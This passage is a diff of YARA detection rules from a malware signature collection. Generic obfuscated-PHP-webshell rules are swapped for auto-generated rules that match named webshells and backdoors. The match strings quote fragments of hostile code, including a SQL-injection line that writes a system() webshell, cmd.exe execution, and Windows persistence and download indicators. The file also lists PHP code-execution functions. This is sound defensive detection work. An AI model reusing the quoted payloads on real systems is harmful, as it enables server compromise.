-rule SIGNATURE_BASE_WEBSHELL_PHP_OBFUSC_Tiny : FILE
+	strings:
+		$s2 = "' -- Read the output from our command and remove the temp file -- '"
+		$s6 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)"
+		$s9 = "' -- create the COM objects that we will be using -- '"
+
+	condition:
+		all of them
+}
+rule SIGNATURE_BASE_KA_Ushell
 {
 	meta:
-		description = "PHP webshell obfuscated"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "d78e495f-54d2-5f5f-920f-fb6612afbca3"
-		date = "2021-01-12"
-		modified = "2024-03-11"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L1248-L1343"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b7b7aabd518a2f8578d4b1bc9a3af60d155972f1"
-		hash = "694ec6e1c4f34632a9bd7065f73be473"
-		hash = "5c871183444dbb5c8766df6b126bd80c624a63a16cc39e20a0f7b002216b2ba5"
-		logic_hash = "993f1c98362dcbc207c6ceacb116a27d44505dc6dfa1874def780af50422e1b9"
+		description = "Webshells Auto-generated - file KA_uShell.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "34e220db-2fb5-59dc-b5e8-d88f844d3977"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7404-L7416"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "685f5d4f7f6751eaefc2695071569aab"
+		logic_hash = "58d25e19e2e14a909b4b623a85dfd8c62974121d3b23574d1e94b62385e42b45"
 		score = 75
-		quality = -940
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$obf1 = /\w'\.'\w/ wide ascii
-		$obf2 = /\w\"\.\"\w/ wide ascii
-		$obf3 = "].$" wide ascii
-		$gfp1 = "eval(\"return [$serialised_parameter"
-		$gfp2 = "$this->assert(strpos($styles, $"
-		$gfp3 = "$module = new $_GET['module']($_GET['scope']);"
-		$gfp4 = "$plugin->$_POST['action']($_POST['id']);"
-		$gfp5 = "$_POST[partition_by]($_POST["
-		$gfp6 = "$object = new $_REQUEST['type']($_REQUEST['id']);"
-		$gfp7 = "The above example code can be easily exploited by passing in a string such as"
-		$gfp8 = "Smarty_Internal_Debug::start_render($_template);"
-		$gfp9 = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
-		$gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
-		$gfp11 = "(eval (getenv \"EPROLOG\")))"
-		$gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
-		$php_short = "<?" wide ascii
-		$no_xml1 = "<?xml version" nocase wide ascii
-		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
-		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
-		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
-		$no_pdf = "<?xpacket"
-		$php_new1 = /<\?=[^?]/ wide ascii
-		$php_new2 = "<?php" nocase wide ascii
-		$php_new3 = "<script language=\"php" nocase wide ascii
-		$cpayload1 = /\beval[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload2 = /\bexec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload3 = /\bshell_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload4 = /\bpassthru[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload5 = /\bsystem[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload6 = /\bpopen[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload7 = /\bproc_open[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload8 = /\bpcntl_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload9 = /\bassert[\n\t ]{0,500}\([^)0]/ nocase wide ascii
-		$cpayload10 = /\bpreg_replace[\n\t ]{0,500}\([^\)]{1,100}\/[ismxADSUXju]{0,11}(e|\\x65)/ nocase wide ascii
-		$cpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
-		$cpayload13 = /\bmb_eregi_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
-		$cpayload20 = /\bcreate_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload21 = /\bReflectionFunction[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload22 = /fetchall\(PDO::FETCH_FUNC[\n\t ]{0,500}[,}\)]/ nocase wide ascii
-		$m_cpayload_preg_filter1 = /\bpreg_filter[\n\t ]{0,500}(\([^\)]|\/\*)/ nocase wide ascii
-		$m_cpayload_preg_filter2 = "'|.*|e'" nocase wide ascii
+		$s5 = "if(empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_PW']<>$pass"
+		$s6 = "if ($_POST['path']==\"\"){$uploadfile = $_FILES['file']['name'];}"
 
 	condition:
-		filesize <500 and not ( any of ($gfp*)) and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and ( any of ($cpayload*) or all of ($m_cpayload_preg_filter*)) and ((#obf1+#obf2)>2 or #obf3>10)
+		all of them
 }
-import "math"
+rule SIGNATURE_BASE_PHP_Backdoor_V1
+{
+	meta:
+		description = "Webshells Auto-generated - file PHP Backdoor v1.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f47298a9-a47c-5088-ab1f-1bd76bfd0ca8"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7417-L7430"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0506ba90759d11d78befd21cabf41f3d"
+		logic_hash = "396ae1ee34a06ab4863f4f54257a9020b8747fb99dff15372f0aa54fa4598e43"
+		score = 75
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
-rule SIGNATURE_BASE_WEBSHELL_PHP_OBFUSC_Str_Replace : FILE
+	strings:
+		$s5 = "echo\"<form method=\\\"POST\\\" action=\\\"\".$_SERVER['PHP_SELF'].\"?edit=\".$th"
+		$s8 = "echo \"<a href=\\\"\".$_SERVER['PHP_SELF'].\"?proxy"
+
+	condition:
+		all of them
+}
+rule SIGNATURE_BASE_Svchostdll
 {
 	meta:
-		description = "PHP webshell which eval()s obfuscated string"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "1f5b93c9-bdeb-52c7-a99a-69869634a574"
-		date = "2021-01-12"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L1345-L1400"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "691305753e26884d0f930cda0fe5231c6437de94"
-		hash = "7efd463aeb5bf0120dc5f963b62463211bd9e678"
-		hash = "fb655ddb90892e522ae1aaaf6cd8bde27a7f49ef"
-		hash = "d1863aeca1a479462648d975773f795bb33a7af2"
-		hash = "4d31d94b88e2bbd255cf501e178944425d40ee97"
-		hash = "e1a2af3477d62a58f9e6431f5a4a123fb897ea80"
-		logic_hash = "74fb86a7ee7342ede9f49ef004a92fb7bdf06ca62f8e8f0ea1c6adcff96bcb2d"
+		description = "Webshells Auto-generated - file svchostdll.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b369d702-1f29-56ec-a742-f87d9c42c775"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7431-L7450"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0f6756c8cb0b454c452055f189e4c3f4"
+		logic_hash = "4a7a7bb7d827c2e7801f8c33b292bb3d312428fc4ae79f07e103f456984c3b83"
 		score = 75
-		quality = 46
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$payload1 = "str_replace" fullword wide ascii
-		$payload2 = "function" fullword wide ascii
-		$goto = "goto" fullword wide ascii
-		$chr1 = "\\61" wide ascii
-		$chr2 = "\\112" wide ascii
-		$chr3 = "\\120" wide ascii
-		$php_short = "<?" wide ascii
-		$no_xml1 = "<?xml version" nocase wide ascii
-		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
-		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
-		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
-		$no_pdf = "<?xpacket"
-		$php_new1 = /<\?=[^?]/ wide ascii
-		$php_new2 = "<?php" nocase wide ascii
-		$php_new3 = "<script language=\"php" nocase wide ascii
+		$s0 = "InstallService"
+		$s1 = "RundllInstallA"
+		$s2 = "UninstallService"
+		$s3 = "&G3 Users In RegistryD"
+		$s4 = "OL_SHUTDOWN;I"
+		$s5 = "SvcHostDLL.dll"
+		$s6 = "RundllUninstallA"
+		$s7 = "InternetOpenA"
+		$s8 = "Check Cloneomplete"
 
 	condition:
-		filesize <300KB and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and any of ($payload*) and #goto>1 and (#chr1>10 or #chr2>10 or #chr3>10)
+		all of them
 }
-import "math"
+rule SIGNATURE_BASE_Hytop_Devpack_Server
+{
+	meta:
+		description = "Webshells Auto-generated - file server.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0e4fee1b-8a16-5738-9600-fa965f8c84c2"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7451-L7462"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1d38526a215df13c7373da4635541b43"
+		logic_hash = "66b8513a532f64af535c948da28674795ae6495b9844165c3b039bf61c25eb46"
+		score = 75
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
-rule SIGNATURE_BASE_WEBSHELL_PHP_OBFUSC_Fopo : FILE
+	strings:
+		$s0 = "<!-- PageServer Below -->"
+
+	condition:
+		all of them
+}
+rule SIGNATURE_BASE_Vanquish
 {
 	meta:
-		description = "PHP webshell which eval()s obfuscated string"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "a298e99d-1ba8-58c8-afb9-fc988ea91e9a"
-		date = "2021-01-12"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L1402-L1462"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fbcff8ea5ce04fc91c05384e847f2c316e013207"
-		hash = "6da57ad8be1c587bb5cc8a1413f07d10fb314b72"
-		hash = "a698441f817a9a72908a0d93a34133469f33a7b34972af3e351bdccae0737d99"
-		logic_hash = "076c0c256e5951cdcb2b7bc55030f55bec48c1bea953b8bd85559a3230e387ae"
+		description = "Webshells Auto-generated - file vanquish.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "143e5e46-ffbc-5aee-9f9b-13374a6c3c10"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7463-L7476"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "684450adde37a93e8bb362994efc898c"
+		logic_hash = "223c59d06a9389f380fa29959c54e53a17b53080f704189ae519b9527b2c6384"
 		score = 75
-		quality = -10
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$payload = /(\beval[\t ]{0,500}\([^)]|\bassert[\t ]{0,500}\([^)])/ nocase wide ascii
-		$one1 = "7QGV2YWwo" wide ascii
-		$one2 = "tAZXZhbC" wide ascii
-		$one3 = "O0BldmFsK" wide ascii
-		$one4 = "sAQABlAHYAYQBsACgA" wide ascii
-		$one5 = "7AEAAZQB2AGEAbAAoA" wide ascii
-		$one6 = "OwBAAGUAdgBhAGwAKA" wide ascii
-		$two1 = "7QGFzc2VydC" wide ascii
-		$two2 = "tAYXNzZXJ0K" wide ascii
-		$two3 = "O0Bhc3NlcnQo" wide ascii
-		$two4 = "sAQABhAHMAcwBlAHIAdAAoA" wide ascii
-		$two5 = "7AEAAYQBzAHMAZQByAHQAKA" wide ascii
-		$two6 = "OwBAAGEAcwBzAGUAcgB0ACgA" wide ascii
-		$php_short = "<?" wide ascii
-		$no_xml1 = "<?xml version" nocase wide ascii
-		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
-		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
-		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
-		$no_pdf = "<?xpacket"
-		$php_new1 = /<\?=[^?]/ wide ascii
-		$php_new2 = "<?php" nocase wide ascii
-		$php_new3 = "<script language=\"php" nocase wide ascii
+		$s3 = "You cannot delete protected files/folders! Instead, your attempt has been logged"
+		$s8 = "?VCreateProcessA@@YGHPBDPADPAU_SECURITY_ATTRIBUTES@@2HKPAX0PAU_STARTUPINFOA@@PAU"
+		$s9 = "?VFindFirstFileExW@@YGPAXPBGW4_FINDEX_INFO_LEVELS@@PAXW4_FINDEX_SEARCH_OPS@@2K@Z"
 
 	condition:
-		filesize <3000KB and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and $payload and ( any of ($one*) or any of ($two*))
+		all of them
 }
-import "math"
+rule SIGNATURE_BASE_Winshell
+{
+	meta:
+		description = "Webshells Auto-generated - file winshell.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "24edd03a-df71-5d84-9764-ba7903b68064"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7477-L7496"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3144410a37dd4c29d004a814a294ea26"
+		logic_hash = "addbfa598039af09c0e4c50138fcfabd16c35c5516259cf9595cf49855da518d"
+		score = 75
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
-rule SIGNATURE_BASE_WEBSHELL_PHP_Gzinflated : FILE
+	strings:
+		$s0 = "Software\\Microsoft\\Windows\\CurrentVersion\\RunServices"
+		$s1 = "WinShell Service"
+		$s2 = "__GLOBAL_HEAP_SELECTED"
+		$s3 = "__MSVCRT_HEAP_SELECT"
+		$s4 = "Provide Windows CmdShell Service"
+		$s5 = "URLDownloadToFileA"
+		$s6 = "RegisterServiceProcess"
+		$s7 = "GetModuleBaseNameA"
+		$s8 = "WinShell v5.0 (C)2002 janker.org"
+
+	condition:
+		all of them
+}
+rule SIGNATURE_BASE_FSO_S_Remview
 {
 	meta:
-		description = "PHP webshell which directly eval()s obfuscated string"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "9cf99ae4-9f7c-502f-9294-b531002953d6"
-		date = "2021-01-12"
-		modified = "2023-07-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L1464-L1537"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "49e5bc75a1ec36beeff4fbaeb16b322b08cf192d"
-		hash = "6f36d201cd32296bad9d5864c7357e8634f365cc"
-		hash = "ab10a1e69f3dfe7c2ad12b2e6c0e66db819c2301"
-		hash = "a6cf337fe11fe646d7eee3d3f09c7cb9643d921d"
-		hash = "07eb6634f28549ebf26583e8b154c6a579b8a733"
-		logic_hash = "d2edb7050c986a00889fd01b709ec0aa1409ce2e40a15b7942562d12596b190e"
+		description = "Webshells Auto-generated - file remview.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5040ddbc-2e61-50ca-b738-a4ac8feec3f1"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7497-L7510"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b4a09911a5b23e00b55abe546ded691c"
+		logic_hash = "19719e8c9215ec9ba9fab55b604907e0a6d0a0507a5662926acff1e9dc03440e"
 		score = 75
-		quality = 32
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$payload2 = /eval\s?\(\s?("\?>".)?gzinflate\s?\(\s?base64_decode\s?\(/ wide ascii nocase
-		$payload4 = /eval\s?\(\s?("\?>".)?gzuncompress\s?\(\s?(base64_decode|gzuncompress)/ wide ascii nocase
-		$payload6 = /eval\s?\(\s?("\?>".)?gzdecode\s?\(\s?base64_decode\s?\(/ wide ascii nocase
-		$payload7 = /eval\s?\(\s?base64_decode\s?\(/ wide ascii nocase
-		$payload8 = /eval\s?\(\s?pack\s?\(/ wide ascii nocase
-		$fp1 = "YXBpLnRlbGVncmFtLm9"
-		$gfp1 = "eval(\"return [$serialised_parameter"
-		$gfp2 = "$this->assert(strpos($styles, $"
-		$gfp3 = "$module = new $_GET['module']($_GET['scope']);"
-		$gfp4 = "$plugin->$_POST['action']($_POST['id']);"
-		$gfp5 = "$_POST[partition_by]($_POST["
-		$gfp6 = "$object = new $_REQUEST['type']($_REQUEST['id']);"
-		$gfp7 = "The above example code can be easily exploited by passing in a string such as"
-		$gfp8 = "Smarty_Internal_Debug::start_render($_template);"
-		$gfp9 = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
-		$gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
-		$gfp11 = "(eval (getenv \"EPROLOG\")))"
-		$gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
-		$php_short = "<?" wide ascii
-		$no_xml1 = "<?xml version" nocase wide ascii
-		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
-		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
-		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
-		$no_pdf = "<?xpacket"
-		$php_new1 = /<\?=[^?]/ wide ascii
-		$php_new2 = "<?php" nocase wide ascii
-		$php_new3 = "<script language=\"php" nocase wide ascii
+		$s2 = "      echo \"<hr size=1 noshade>\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\""
+		$s3 = "         echo \"<script>str$i=\\\"\".str_replace(\"\\\"\",\"\\\\\\\"\",str_replace(\"\\\\\",\"\\\\\\\\\""
+		$s4 = "      echo \"<hr size=1 noshade>\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n<"
 
 	condition:
-		filesize <700KB and not ( any of ($gfp*)) and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and 1 of ($payload*) and not any of ($fp*)
+		all of them
 }
-import "math"
+rule SIGNATURE_BASE_Saphpshell
+{
+	meta:
+		description = "Webshells Auto-generated - file saphpshell.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "42bcd739-714e-5dbf-a3a1-929f3d16ed6f"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7511-L7522"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d7bba8def713512ddda14baf9cd6889a"
+		logic_hash = "24d558292a709bb29334b1acdc53cdb6c5bc6803caec527edcacd6a19f6dc7c9"
+		score = 75
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
-rule SIGNATURE_BASE_WEBSHELL_PHP_OBFUSC_3 : FILE
+	strings:
+		$s0 = "<td><input type=\"text\" name=\"command\" size=\"60\" value=\"<?=$_POST['command']?>"
+
+	condition:
+		all of them
+}
+rule SIGNATURE_BASE_Hytop2006_Rar_Folder_2006Z
 {
 	meta:
-		description = "PHP webshell which eval()s obfuscated string"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "f2017e6f-0623-53ff-aa26-a479f3a02024"
-		date = "2021-04-17"
-		modified = "2024-03-11"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L1539-L1844"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "11bb1fa3478ec16c00da2a1531906c05e9c982ea"
-		hash = "d6b851cae249ea6744078393f622ace15f9880bc"
-		hash = "14e02b61905cf373ba9234a13958310652a91ece"
-		hash = "6f97f607a3db798128288e32de851c6f56e91c1d"
-		logic_hash = "904deddb937c39cd5aab3cdeccb8101e87c909a70f52bed1c9f7e3e4c923e685"
+		description = "Webshells Auto-generated - file 2006Z.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bda89055-27f5-50b7-86a3-2c75a5f3eadc"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7523-L7535"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fd1b6129abd4ab177fed135e3b665488"
+		logic_hash = "4b427132541cd26ee47c387a98f6f46f86808f9a775068e1d114c9ef4abca9f6"
 		score = 75
-		quality = -2798
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$obf1 = "chr(" wide ascii
-		$php_short = "<?" wide ascii
-		$no_xml1 = "<?xml version" nocase wide ascii
-		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
-		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
-		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
-		$no_pdf = "<?xpacket"
-		$php_new1 = /<\?=[^?]/ wide ascii
-		$php_new2 = "<?php" nocase wide ascii
-		$php_new3 = "<script language=\"php" nocase wide ascii
-		$callback1 = /\bob_start[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback2 = /\barray_diff_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback3 = /\barray_diff_ukey[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback4 = /\barray_filter[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback5 = /\barray_intersect_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback6 = /\barray_intersect_ukey[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback7 = /\barray_map[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback8 = /\barray_reduce[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback9 = /\barray_udiff_assoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback10 = /\barray_udiff_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback11 = /\barray_udiff[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback12 = /\barray_uintersect_assoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback13 = /\barray_uintersect_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback14 = /\barray_uintersect[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback15 = /\barray_walk_recursive[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback16 = /\barray_walk[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback17 = /\bassert_options[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback18 = /\buasort[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback19 = /\buksort[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback20 = /\busort[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback21 = /\bpreg_replace_callback[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback22 = /\bspl_autoload_register[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback23 = /\biterator_apply[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback24 = /\bcall_user_func[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback25 = /\bcall_user_func_array[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback26 = /\bregister_shutdown_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback27 = /\bregister_tick_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback28 = /\bset_error_handler[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback29 = /\bset_exception_handler[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback30 = /\bsession_set_save_handler[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback31 = /\bsqlite_create_aggregate[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback32 = /\bsqlite_create_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback33 = /\bmb_ereg_replace_callback[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$m_callback1 = /\bfilter_var[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$m_callback2 = "FILTER_CALLBACK" fullword wide ascii
-		$cfp1 = /ob_start\(['\"]ob_gzhandler/ nocase wide ascii
-		$cfp2 = "IWPML_Backend_Action_Loader" ascii wide
-		$cfp3 = "<?phpclass WPML" ascii
-		$cpayload1 = /\beval[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload2 = /\bexec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload3 = /\bshell_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload4 = /\bpassthru[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload5 = /\bsystem[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
